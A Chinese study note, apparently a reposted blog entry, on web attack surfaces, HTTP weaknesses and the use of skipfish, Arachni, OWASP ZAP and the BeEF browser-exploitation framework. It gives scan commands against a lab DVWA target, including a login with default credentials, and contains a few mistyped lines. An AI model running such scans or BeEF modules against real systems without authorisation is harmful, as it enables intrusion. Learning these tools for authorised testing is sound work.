静态web;
动态web: 应用程序,数据库,每个人看到的内容不同,根据用户输入返回不同结果

web攻击面
  1. network
  2. os 操作系统层面
  3. web server is或者apache
  4. app server 应用服务器,web服务器调用应用服务器功能
  5. web application 程序员的实现业务逻辑的代码
  6. database 数据库后端
  7. broswer 浏览器端
HTTP协议基础

http协议中存在着很多的隐患:
明文:无内建的机密性安全机制,我们使用嗅探或代理可以查看全部的明文信息,https只能提高传输层的安全,我们可以利用中间人劫持获取到明文。
https加密方式:服务端有一个公钥和私钥,服务端将公钥发送给客户端,客户端根据公钥产生对称密钥,客户端使用公钥加密对称密钥然后发送给服务端,服务端使用私钥进行解密,然后双方使用对称密钥进行交流。
无状态:每一次客户端和服务端通信都是独立的过程,web应用需要跟踪客户端会话,多步通信,不使用cookie的英语,客户端每次都要重新身份验证,session用于在用户身份验证后跟踪用户行为轨迹。
cycle:请求/响应,最小的单元在http通信中。
重要的header: 1. Set-Cookie:服务器发给客户端的SessionID(被窃取的风险)
2. Content-Length:响应body部分的字节长度。
3. Location:重定向用户到另一个界面,可识别身份认证后允许访问的页面。
4. Cookie:客户端发挥给服务器证明用户状态的信息。
5. Referrer:发起新的请求之前用户位于哪个页面,服务器基于此头的安全限制很容易被修改绕过.

skipfish

轻量级扫描工具:skipfish由c语言编写,是实验性的主动web安全评估工具,采用递归爬网,基于字典的探测,素的较快且误报较低。
扫描单个目标:skipfish -o test1 http://192.168.214.135/dvwa/ 我们也可以把目标放到文件中进行批量扫描:skipfish -o test @url.txt
使用字典进行扫描:skipfish -o test1 -S complet.wl -I /dvwa/ http://192.168.214.135/dvwa/
-I :只检查包含string的url;
-X不检查包含string的url;
-K:不对指定参数进行Fuzz测试;
-D:跨站点爬另一个域;
-m:每IP最大并发连接数;
-L:每秒钟最大请求数;
-config:指定配置文件;
身份认证: root@kali:~# skipfish -o a --auth-form http://192.168.214.135/dvwa/login.php --auth-user admin --auth-pass password --auth-verify-url http://192.168.214.135/dvwa/index.php -I /dvwa/ http://192.168.214.135 我们指定了登陆的界面为login,软件会自动地查找登录的位置,我们把用户名,账号提交进去进行扫描,认证成功的条件就是我们会跳到index.php这个界面。
扫描速度过快会触发目标站点连接数限制,我们可以降低-m,-l的数值。

w3af

web应用程序攻击审计框架:由python进行开发。

arachni

我们可以使用dispatcher进行分布式的扫描,我们指定Dispatcher的时候,我们使用./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111; 指定Grid的时候,我们使用。/arachni——rpcd --nickname=特色t --address=127.0.0.1 --neighbour=127.0.0.1:1111我们把他指定到了test1 的后面

OWASP_ZAP

zed attack proxy:开源免费跨平台。
截断代理,主动被动扫描,Fuzzy,暴力破解,API
我使用owasp把靶机扫爆了。。。

beef

details:浏览器,插件版本信息,操作系统信息 Logs:亏卡布其动作:焦点变化,鼠标点击,信息输入 commands:命令模块 绿色模块:表示模块适合目标浏览器,并且执行结果被目标不可见 红色模块:表示模块不适用与当前用户,有些红的模块也可以正常执行 橙色模块:模块可用,但结果对用户可见 灰色模块:模块未在目标浏览器上测试过

原文地址:https://www.cnblogs.com/ophxc/p/12550561.html